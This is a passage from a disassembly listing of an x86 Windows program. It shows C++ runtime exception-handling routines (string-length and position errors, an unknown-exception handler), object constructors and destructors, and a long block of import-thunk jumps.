--------------------------------------------------------------------------- loc_433208: ; CODE XREF: sub_433180+78j mov edx, [ebp+var_4] and edx, 0FFFFh shl edx, 8 mov eax, [ebp+arg_0] xor ecx, ecx mov cl, [eax] or edx, ecx cmp [ebp+arg_4], edx jnz short loc_433234 push 19h call sub_41BD20 add esp, 4 mov eax, [ebp+arg_0] sub eax, 1 jmp short loc_433269 ; --------------------------------------------------------------------------- loc_433234: ; CODE XREF: sub_433180+A0j jmp short loc_433246 ; --------------------------------------------------------------------------- loc_433236: ; CODE XREF: sub_433180+64j mov edx, [ebp+var_4] and edx, 0FFFFh cmp [ebp+arg_4], edx jnz short loc_433246 jmp short loc_43324B ; --------------------------------------------------------------------------- loc_433246: ; CODE XREF: sub_433180:loc_433234j ; sub_433180+C2j jmp loc_4331AE ; --------------------------------------------------------------------------- loc_43324B: ; CODE XREF: sub_433180+4Dj ; sub_433180+C4j push 19h call sub_41BD20 add esp, 4 mov eax, [ebp+var_4] and eax, 0FFFFh cmp [ebp+arg_4], eax jnz short loc_433267 mov eax, [ebp+arg_0] jmp short loc_433269 ; --------------------------------------------------------------------------- loc_433267: ; CODE XREF: sub_433180+E0j xor eax, eax loc_433269: ; CODE XREF: sub_433180+1Dj ; sub_433180+86j ... mov esp, ebp pop ebp retn sub_433180 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_433270 proc near ; CODE XREF: sub_40BC39+12p ; sub_40BCCE+12p ... var_3C = byte ptr -3Ch var_38 = byte ptr -38h var_28 = byte ptr -28h var_C = dword ptr -0Ch var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_433270 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h lea eax, [ebp+var_3C] push eax push offset aStringTooLong ; "string too long" lea ecx, [ebp+var_38] call sub_40BBEC mov [ebp+var_4], 0 lea ecx, [ebp+var_38] push ecx lea ecx, [ebp+var_28] call sub_433420 push offset dword_4363F8 lea edx, [ebp+var_28] push edx call sub_433E70 mov ecx, [ebp+var_C] mov large fs:0, ecx mov esp, ebp pop ebp retn sub_433270 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4332D0 proc near ; CODE XREF: sub_433360+10p ; sub_433540+Ep ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_4332D0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov [ebp+var_10], ecx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_10] call sub_433BF0 mov [ebp+var_4], 0 mov ecx, [ebp+arg_0] add ecx, 0Ch push ecx mov ecx, [ebp+var_10] add ecx, 0Ch call sub_40BBC6 mov edx, [ebp+var_10] mov dword ptr [edx], offset off_436090 mov [ebp+var_4], 0FFFFFFFFh mov eax, [ebp+var_10] mov ecx, [ebp+var_C] mov large fs:0, ecx mov esp, ebp pop ebp retn 4 sub_4332D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_433340 proc near ; DATA XREF: .data:00436094o ; .data:004360A4o ... var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov ecx, [ebp+var_4] add ecx, 0Ch call sub_40BCA9 mov esp, ebp pop ebp retn sub_433340 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_433360 proc near ; DATA XREF: .data:00436098o var_20 = dword ptr -20h var_1C = byte ptr -1Ch push ebp mov ebp, esp sub esp, 20h mov [ebp+var_20], ecx mov eax, [ebp+var_20] push eax lea ecx, [ebp+var_1C] call sub_4332D0 push offset dword_436468 lea ecx, [ebp+var_1C] push ecx call sub_433E70 mov esp, ebp pop ebp retn sub_433360 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_433390 proc near ; CODE XREF: sub_4333F0+Ap ; sub_4334C0+13p ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_433390 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov [ebp+var_10], ecx mov eax, [ebp+var_10] mov dword ptr [eax], offset off_436090 mov [ebp+var_4], 0 mov ecx, [ebp+var_10] add ecx, 0Ch call sub_40BC0F mov [ebp+var_4], 0FFFFFFFFh mov ecx, [ebp+var_10] call sub_433CB0 mov ecx, [ebp+var_C] mov large fs:0, ecx mov esp, ebp pop ebp retn sub_433390 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4333F0 proc near ; DATA XREF: .data:off_436090o var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov ecx, [ebp+var_4] call sub_433390 mov eax, [ebp+arg_0] and eax, 1 test eax, eax jz short loc_433415 mov ecx, [ebp+var_4] push ecx call sub_419DD0 add esp, 4 loc_433415: ; CODE XREF: sub_4333F0+17j mov eax, [ebp+var_4] mov esp, ebp pop ebp retn 4 sub_4333F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_433420 proc near ; CODE XREF: sub_433270+3Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_4] call sub_433450 mov ecx, [ebp+var_4] mov dword ptr [ecx], offset off_4360A0 mov eax, [ebp+var_4] mov esp, ebp pop ebp retn 4 sub_433420 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_433450 proc near ; CODE XREF: sub_433420+Ep ; sub_4335D0+Ep var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_433450 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 mov [ebp+var_14], ecx mov [ebp+var_10], offset dword_434F04 lea eax, [ebp+var_10] push eax mov ecx, [ebp+var_14] call sub_433B80 mov [ebp+var_4], 0 mov ecx, [ebp+arg_0] push ecx mov ecx, [ebp+var_14] add ecx, 0Ch call sub_40BBC6 mov edx, [ebp+var_14] mov dword ptr [edx], offset off_436090 mov [ebp+var_4], 0FFFFFFFFh mov eax, [ebp+var_14] mov ecx, [ebp+var_C] mov large fs:0, ecx mov esp, ebp pop ebp retn 4 sub_433450 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4334C0 proc near ; CODE XREF: sub_433510+Ap ; DATA XREF: .data:004363FCo var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] mov dword ptr [eax], offset off_4360A0 mov ecx, [ebp+var_4] call sub_433390 mov esp, ebp pop ebp retn sub_4334C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4334E0 proc near ; DATA XREF: .data:004360A8o var_20 = dword ptr -20h var_1C = byte ptr -1Ch push ebp mov ebp, esp sub esp, 20h mov [ebp+var_20], ecx mov eax, [ebp+var_20] push eax lea ecx, [ebp+var_1C] call sub_433540 push offset dword_4363F8 lea ecx, [ebp+var_1C] push ecx call sub_433E70 mov esp, ebp pop ebp retn sub_4334E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_433510 proc near ; DATA XREF: .data:off_4360A0o var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov ecx, [ebp+var_4] call sub_4334C0 mov eax, [ebp+arg_0] and eax, 1 test eax, eax jz short loc_433535 mov ecx, [ebp+var_4] push ecx call sub_419DD0 add esp, 4 loc_433535: ; CODE XREF: sub_433510+17j mov eax, [ebp+var_4] mov esp, ebp pop ebp retn 4 sub_433510 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_433540 proc near ; CODE XREF: sub_4334E0+10p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_4] call sub_4332D0 mov ecx, [ebp+var_4] mov dword ptr [ecx], offset off_4360A0 mov eax, [ebp+var_4] mov esp, ebp pop ebp retn 4 sub_433540 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_433570 proc near ; CODE XREF: sub_40BD29+17p ; sub_40BFA8+Ep var_3C = byte ptr -3Ch var_38 = byte ptr -38h var_28 = byte ptr -28h var_C = dword ptr -0Ch var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_433570 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h lea eax, [ebp+var_3C] push eax push offset aInvalidStringP ; "invalid string position" lea ecx, [ebp+var_38] call sub_40BBEC mov [ebp+var_4], 0 lea ecx, [ebp+var_38] push ecx lea ecx, [ebp+var_28] call sub_4335D0 push offset dword_4364F8 lea edx, [ebp+var_28] push edx call sub_433E70 mov ecx, [ebp+var_C] mov large fs:0, ecx mov esp, ebp pop ebp retn sub_433570 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4335D0 proc near ; CODE XREF: sub_433570+3Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_4] call sub_433450 mov ecx, [ebp+var_4] mov dword ptr [ecx], offset off_4360C8 mov eax, [ebp+var_4] mov esp, ebp pop ebp retn 4 sub_4335D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_433600 proc near ; CODE XREF: sub_433650+Ap ; DATA XREF: .data:004364FCo var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] mov dword ptr [eax], offset off_4360C8 mov ecx, [ebp+var_4] call sub_433390 mov esp, ebp pop ebp retn sub_433600 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_433620 proc near ; DATA XREF: .data:004360D0o var_20 = dword ptr -20h var_1C = byte ptr -1Ch push ebp mov ebp, esp sub esp, 20h mov [ebp+var_20], ecx mov eax, [ebp+var_20] push eax lea ecx, [ebp+var_1C] call sub_433680 push offset dword_4364F8 lea ecx, [ebp+var_1C] push ecx call sub_433E70 mov esp, ebp pop ebp retn sub_433620 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_433650 proc near ; DATA XREF: .data:off_4360C8o var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov ecx, [ebp+var_4] call sub_433600 mov eax, [ebp+arg_0] and eax, 1 test eax, eax jz short loc_433675 mov ecx, [ebp+var_4] push ecx call sub_419DD0 add esp, 4 loc_433675: ; CODE XREF: sub_433650+17j mov eax, [ebp+var_4] mov esp, ebp pop ebp retn 4 sub_433650 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_433680 proc near ; CODE XREF: sub_433620+10p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_4] call sub_4332D0 mov ecx, [ebp+var_4] mov dword ptr [ecx], offset off_4360C8 mov eax, [ebp+var_4] mov esp, ebp pop ebp retn 4 sub_433680 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4336B0 proc near ; DATA XREF: .data:00437010o push ebp mov ebp, esp call sub_40C15A call sub_4336D0 call sub_4336F0 call sub_433720 pop ebp retn sub_4336B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4336D0 proc near ; CODE XREF: sub_4336B0+8p push ebp mov ebp, esp push offset nullsub_1 call sub_419F60 add esp, 4 pop ebp retn sub_4336D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4336F0 proc near ; CODE XREF: sub_4336B0+Dp push ebp mov ebp, esp xor eax, eax mov al, byte_4DF69C and eax, 1 test eax, eax jnz short loc_433710 mov cl, byte_4DF69C or cl, 1 mov byte_4DF69C, cl loc_433710: ; CODE XREF: sub_4336F0+Fj pop ebp retn sub_4336F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_433720 proc near ; CODE XREF: sub_4336B0+12p push ebp mov ebp, esp push offset sub_433740 call sub_419F60 add esp, 4 pop ebp retn sub_433720 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_433740 proc near ; DATA XREF: sub_433720+3o push ebp mov ebp, esp pop ebp retn sub_433740 endp ; --------------------------------------------------------------------------- align 2 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_433746 proc near ; CODE XREF: sub_40B575+5Ep ; sub_40D0F7+148p jmp dword_4E0528 sub_433746 endp ; --------------------------------------------------------------------------- jmp dword_4E0524 ; --------------------------------------------------------------------------- jmp dword_4E0520 ; --------------------------------------------------------------------------- jmp dword_4E051C ; --------------------------------------------------------------------------- jmp dword_4E0518 ; --------------------------------------------------------------------------- jmp dword_4E0514 ; --------------------------------------------------------------------------- jmp dword_4E0510 ; --------------------------------------------------------------------------- jmp dword_4E050C ; --------------------------------------------------------------------------- jmp dword_4E0508 ; --------------------------------------------------------------------------- jmp dword_4E052C ; --------------------------------------------------------------------------- jmp dword_4E0500 ; --------------------------------------------------------------------------- jmp dword_4E04FC ; --------------------------------------------------------------------------- jmp dword_4E04F8 ; --------------------------------------------------------------------------- jmp dword_4E04F4 ; --------------------------------------------------------------------------- jmp dword_4E04F0 ; --------------------------------------------------------------------------- jmp dword_4E0504 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4337A6 proc near ; CODE XREF: .data:00414BACp jmp dword_4E04E0 sub_4337A6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4337AC proc near ; CODE XREF: .data:00414B7Fp jmp dword_4E04E4 sub_4337AC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4337B2 proc near ; CODE XREF: .data:00414B3Ep jmp dword_4E04E8 sub_4337B2 endp ; --------------------------------------------------------------------------- jmp dword_4E0328 ; --------------------------------------------------------------------------- jmp dword_4E032C ; --------------------------------------------------------------------------- jmp dword_4E0330 ; --------------------------------------------------------------------------- jmp dword_4E0334 ; --------------------------------------------------------------------------- jmp dword_4E0338 ; --------------------------------------------------------------------------- jmp dword_4E033C ; --------------------------------------------------------------------------- jmp dword_4E0340 ; --------------------------------------------------------------------------- jmp dword_4E0344 ; --------------------------------------------------------------------------- jmp dword_4E0348 ; --------------------------------------------------------------------------- jmp dword_4E034C ; --------------------------------------------------------------------------- jmp dword_4E0350 ; --------------------------------------------------------------------------- jmp dword_4E0354 ; --------------------------------------------------------------------------- jmp dword_4E0358 ; --------------------------------------------------------------------------- jmp dword_4E035C ; --------------------------------------------------------------------------- jmp dword_4E0360 ; --------------------------------------------------------------------------- jmp dword_4E0364 ; --------------------------------------------------------------------------- jmp dword_4E0368 ; --------------------------------------------------------------------------- jmp dword_4E036C ; --------------------------------------------------------------------------- jmp dword_4E0370 ; --------------------------------------------------------------------------- jmp dword_4E0374 ; --------------------------------------------------------------------------- jmp dword_4E0378 ; --------------------------------------------------------------------------- jmp dword_4E037C ; --------------------------------------------------------------------------- jmp dword_4E0380 ; --------------------------------------------------------------------------- jmp dword_4E0384 ; --------------------------------------------------------------------------- jmp dword_4E0388 ; --------------------------------------------------------------------------- jmp dword_4E038C ; --------------------------------------------------------------------------- jmp dword_4E0390 ; --------------------------------------------------------------------------- jmp dword_4E0394 ; --------------------------------------------------------------------------- jmp dword_4E0398 ; --------------------------------------------------------------------------- jmp dword_4E039C ; --------------------------------------------------------------------------- jmp dword_4E03A0 ; --------------------------------------------------------------------------- jmp dword_4E03A4 ; --------------------------------------------------------------------------- jmp dword_4E03A8 ; --------------------------------------------------------------------------- jmp dword_4E03AC ; --------------------------------------------------------------------------- jmp dword_4E03B0 ; --------------------------------------------------------------------------- jmp dword_4E03B4 ; --------------------------------------------------------------------------- jmp dword_4E03B8 ; --------------------------------------------------------------------------- jmp dword_4E03BC ; --------------------------------------------------------------------------- jmp dword_4E03C0 ; --------------------------------------------------------------------------- jmp dword_4E03C4 ; --------------------------------------------------------------------------- jmp dword_4E03C8 ; --------------------------------------------------------------------------- jmp dword_4E03CC ; --------------------------------------------------------------------------- jmp dword_4E03D0 ; --------------------------------------------------------------------------- jmp dword_4E03D4 ; --------------------------------------------------------------------------- jmp dword_4E03D8 ; --------------------------------------------------------------------------- jmp dword_4E03DC ; --------------------------------------------------------------------------- jmp dword_4E03E0 ; --------------------------------------------------------------------------- jmp dword_4E03E4 ; --------------------------------------------------------------------------- jmp dword_4E03E8 ; --------------------------------------------------------------------------- jmp dword_4E03EC ; --------------------------------------------------------------------------- jmp dword_4E03F0 ; --------------------------------------------------------------------------- jmp dword_4E03F4 ; --------------------------------------------------------------------------- jmp dword_4E03F8 ; --------------------------------------------------------------------------- jmp dword_4E03FC ; --------------------------------------------------------------------------- jmp dword_4E02CC ; --------------------------------------------------------------------------- jmp dword_4E0400 ; --------------------------------------------------------------------------- jmp dword_4E0404 ; --------------------------------------------------------------------------- jmp dword_4E0408 ; --------------------------------------------------------------------------- jmp dword_4E040C ; --------------------------------------------------------------------------- jmp dword_4E0410 ; --------------------------------------------------------------------------- jmp dword_4E0414 ; --------------------------------------------------------------------------- jmp dword_4E0418 ; --------------------------------------------------------------------------- jmp dword_4E041C ; --------------------------------------------------------------------------- jmp dword_4E0420 ; --------------------------------------------------------------------------- jmp dword_4E0424 ; --------------------------------------------------------------------------- jmp dword_4E0428 ; --------------------------------------------------------------------------- jmp dword_4E042C ; --------------------------------------------------------------------------- jmp dword_4E0430 ; --------------------------------------------------------------------------- jmp dword_4E0434 ; --------------------------------------------------------------------------- jmp dword_4E0438 ; --------------------------------------------------------------------------- jmp dword_4E043C ; --------------------------------------------------------------------------- jmp dword_4E0440 ; --------------------------------------------------------------------------- jmp dword_4E0444 ; --------------------------------------------------------------------------- jmp dword_4E0448 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_433974 proc near ; CODE XREF: sub_418D80+27p ; sub_4190F0+13p jmp dword_4E044C sub_433974 endp ; --------------------------------------------------------------------------- jmp dword_4E0450 ; --------------------------------------------------------------------------- jmp dword_4E0454 ; --------------------------------------------------------------------------- jmp dword_4E0458 ; --------------------------------------------------------------------------- jmp dword_4E045C ; --------------------------------------------------------------------------- jmp dword_4E0460 ; --------------------------------------------------------------------------- jmp dword_4E0464 ; --------------------------------------------------------------------------- jmp dword_4E0468 ; --------------------------------------------------------------------------- jmp dword_4E046C ; --------------------------------------------------------------------------- jmp dword_4E0470 ; --------------------------------------------------------------------------- jmp dword_4E0474 ; --------------------------------------------------------------------------- jmp dword_4E0478 ; --------------------------------------------------------------------------- jmp dword_4E047C ; --------------------------------------------------------------------------- jmp dword_4E0480 ; --------------------------------------------------------------------------- jmp dword_4E0484 ; --------------------------------------------------------------------------- jmp dword_4E0488 ; --------------------------------------------------------------------------- jmp dword_4E048C ; --------------------------------------------------------------------------- jmp dword_4E0490 ; --------------------------------------------------------------------------- jmp dword_4E0494 ; --------------------------------------------------------------------------- jmp dword_4E0498 ; --------------------------------------------------------------------------- jmp dword_4E049C ; --------------------------------------------------------------------------- jmp dword_4E04A0 ; --------------------------------------------------------------------------- jmp dword_4E04A4 ; --------------------------------------------------------------------------- jmp dword_4E04A8 ; --------------------------------------------------------------------------- jmp dword_4E04AC ; --------------------------------------------------------------------------- jmp dword_4E04B0 ; --------------------------------------------------------------------------- jmp dword_4E04B4 ; --------------------------------------------------------------------------- jmp dword_4E04B8 ; --------------------------------------------------------------------------- jmp dword_4E04BC ; --------------------------------------------------------------------------- jmp dword_4E04C0 ; --------------------------------------------------------------------------- jmp dword_4E04C4 ; --------------------------------------------------------------------------- jmp dword_4E04C8 ; --------------------------------------------------------------------------- jmp dword_4E04CC ; --------------------------------------------------------------------------- jmp dword_4E04D0 ; --------------------------------------------------------------------------- jmp dword_4E0324 ; --------------------------------------------------------------------------- jmp dword_4E0320 ; --------------------------------------------------------------------------- jmp dword_4E031C ; --------------------------------------------------------------------------- jmp dword_4E0318 ; --------------------------------------------------------------------------- jmp dword_4E0314 ; --------------------------------------------------------------------------- jmp dword_4E0310 ; --------------------------------------------------------------------------- jmp dword_4E030C ; --------------------------------------------------------------------------- jmp dword_4E0308 ; --------------------------------------------------------------------------- jmp dword_4E0304 ; --------------------------------------------------------------------------- jmp dword_4E0300 ; --------------------------------------------------------------------------- jmp dword_4E02FC ; --------------------------------------------------------------------------- jmp dword_4E02F8 ; --------------------------------------------------------------------------- jmp dword_4E02F4 ; --------------------------------------------------------------------------- jmp dword_4E02F0 ; --------------------------------------------------------------------------- jmp dword_4E02EC ; --------------------------------------------------------------------------- jmp dword_4E02E8 ; --------------------------------------------------------------------------- jmp dword_4E02E4 ; --------------------------------------------------------------------------- jmp dword_4E02E0 ; --------------------------------------------------------------------------- jmp dword_4E02DC ; --------------------------------------------------------------------------- jmp dword_4E02D8 ; --------------------------------------------------------------------------- jmp dword_4E02D4 ; --------------------------------------------------------------------------- jmp dword_4E02D0 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_433AD0 proc near ; CODE XREF: sub_4118FD+21p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0 jnz short loc_433ADE xor eax, eax jmp short loc_433B13 ; --------------------------------------------------------------------------- loc_433ADE: ; CODE XREF: sub_433AD0+8j mov eax, [ebp+arg_0] push eax call sub_414EC0 add esp, 4 add eax, 1 push eax call sub_415090 add esp, 4 mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_433B11 mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+var_4] push edx call sub_418870 add esp, 8 jmp short loc_433B13 ; --------------------------------------------------------------------------- loc_433B11: ; CODE XREF: sub_433AD0+2Dj xor eax, eax loc_433B13: ; CODE XREF: sub_433AD0+Cj ; sub_433AD0+3Fj mov esp, ebp pop ebp retn sub_433AD0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov [ebp-4], ecx mov eax, [ebp-4] mov dword ptr [eax], offset off_4360DC mov ecx, [ebp-4] mov dword ptr [ecx+4], 0 mov edx, [ebp-4] mov dword ptr [edx+8], 0 mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_433B50 proc near ; DATA XREF: .data:off_4360DCo var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov ecx, [ebp+var_4] call sub_433CB0 mov eax, [ebp+arg_0] and eax, 1 test eax, eax jz short loc_433B75 mov ecx, [ebp+var_4] push ecx call sub_419DD0 add esp, 4 loc_433B75: ; CODE XREF: sub_433B50+17j mov eax, [ebp+var_4] mov esp, ebp pop ebp retn 4 sub_433B50 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_433B80 proc near ; CODE XREF: sub_433450+2Cp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 mov [ebp+var_8], ecx mov eax, [ebp+var_8] mov dword ptr [eax], offset off_4360DC mov ecx, [ebp+arg_0] mov edx, [ecx] push edx call sub_414EC0 add esp, 4 add eax, 1 push eax call sub_419E80 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_8] mov ecx, [ebp+var_4] mov [eax+4], ecx mov edx, [ebp+var_8] cmp dword ptr [edx+4], 0 jz short loc_433BD6 mov eax, [ebp+arg_0] mov ecx, [eax] push ecx mov edx, [ebp+var_8] mov eax, [edx+4] push eax call sub_418870 add esp, 8 loc_433BD6: ; CODE XREF: sub_433B80+3Fj mov ecx, [ebp+var_8] mov dword ptr [ecx+8], 1 mov eax, [ebp+var_8] mov esp, ebp pop ebp retn 4 sub_433B80 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_433BF0 proc near ; CODE XREF: sub_4332D0+23p ; .data:00433C9Ep var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 mov [ebp+var_8], ecx mov eax, [ebp+var_8] mov dword ptr [eax], offset off_4360DC mov ecx, [ebp+var_8] mov edx, [ebp+arg_0] mov eax, [edx+8] mov [ecx+8], eax mov ecx, [ebp+var_8] cmp dword ptr [ecx+8], 0 jz short loc_433C5F mov edx, [ebp+arg_0] mov eax, [edx+4] push eax call sub_414EC0 add esp, 4 add eax, 1 push eax call sub_419E80 add esp, 4 mov [ebp+var_4], eax mov ecx, [ebp+var_8] mov edx, [ebp+var_4] mov [ecx+4], edx mov eax, [ebp+var_8] cmp dword ptr [eax+4], 0 jz short loc_433C5D mov ecx, [ebp+arg_0] mov edx, [ecx+4] push edx mov eax, [ebp+var_8] mov ecx, [eax+4] push ecx call sub_418870 add esp, 8 loc_433C5D: ; CODE XREF: sub_433BF0+55j jmp short loc_433C6B ; --------------------------------------------------------------------------- loc_433C5F: ; CODE XREF: sub_433BF0+25j mov edx, [ebp+var_8] mov eax, [ebp+arg_0] mov ecx, [eax+4] mov [edx+4], ecx loc_433C6B: ; CODE XREF: sub_433BF0:loc_433C5Dj mov eax, [ebp+var_8] mov esp, ebp pop ebp retn 4 sub_433BF0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov [ebp-4], ecx mov eax, [ebp-4] cmp eax, [ebp+8] jz short loc_433CA3 mov ecx, [ebp-4] call sub_433CB0 mov ecx, [ebp+8] push ecx mov ecx, [ebp-4] call sub_433BF0 loc_433CA3: ; CODE XREF: .data:00433C8Dj mov eax, [ebp-4] mov esp, ebp pop ebp retn 4 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_433CB0 proc near ; CODE XREF: sub_433390+41p ; sub_433B50+Ap ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 8 mov [ebp+var_8], ecx mov eax, [ebp+var_8] mov dword ptr [eax], offset off_4360DC mov ecx, [ebp+var_8] cmp dword ptr [ecx+8], 0 jz short loc_433CE0 mov edx, [ebp+var_8] mov eax, [edx+4] mov [ebp+var_4], eax mov ecx, [ebp+var_4] push ecx call sub_419DD0 add esp, 4 loc_433CE0: ; CODE XREF: sub_433CB0+19j mov esp, ebp pop ebp retn sub_433CB0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_433CF0 proc near ; DATA XREF: .data:004360E0o var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] cmp dword ptr [eax+4], 0 jz short loc_433D08 mov ecx, [ebp+var_4] mov eax, [ecx+4] jmp short loc_433D0D ; --------------------------------------------------------------------------- loc_433D08: ; CODE XREF: sub_433CF0+Ej mov eax, offset aUnknownExcepti ; "Unknown exception" loc_433D0D: ; CODE XREF: sub_433CF0+16j mov esp, ebp pop ebp retn sub_433CF0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_433D20 proc near ; CODE XREF: sub_433D60+Ap var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] mov dword ptr [eax], offset off_4360FC push 1Bh call sub_41BC80 add esp, 4 mov ecx, [ebp+var_4] cmp dword ptr [ecx+4], 0 jz short loc_433D52 mov edx, [ebp+var_4] mov eax, [edx+4] push eax call sub_41C6D0 add esp, 4 loc_433D52: ; CODE XREF: sub_433D20+21j push 1Bh call sub_41BD20 add esp, 4 mov esp, ebp pop ebp retn sub_433D20 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_433D60 proc near ; DATA XREF: .data:off_4360FCo var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov ecx, [ebp+var_4] call sub_433D20 mov eax, [ebp+arg_0] and eax, 1 test eax, eax jz short loc_433D85 mov ecx, [ebp+var_4] push ecx call sub_419DD0 add esp, 4 loc_433D85: ; CODE XREF: sub_433D60+17j mov eax, [ebp+var_4] mov esp, ebp pop ebp retn 4 sub_433D60 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov [ebp-4], ecx mov 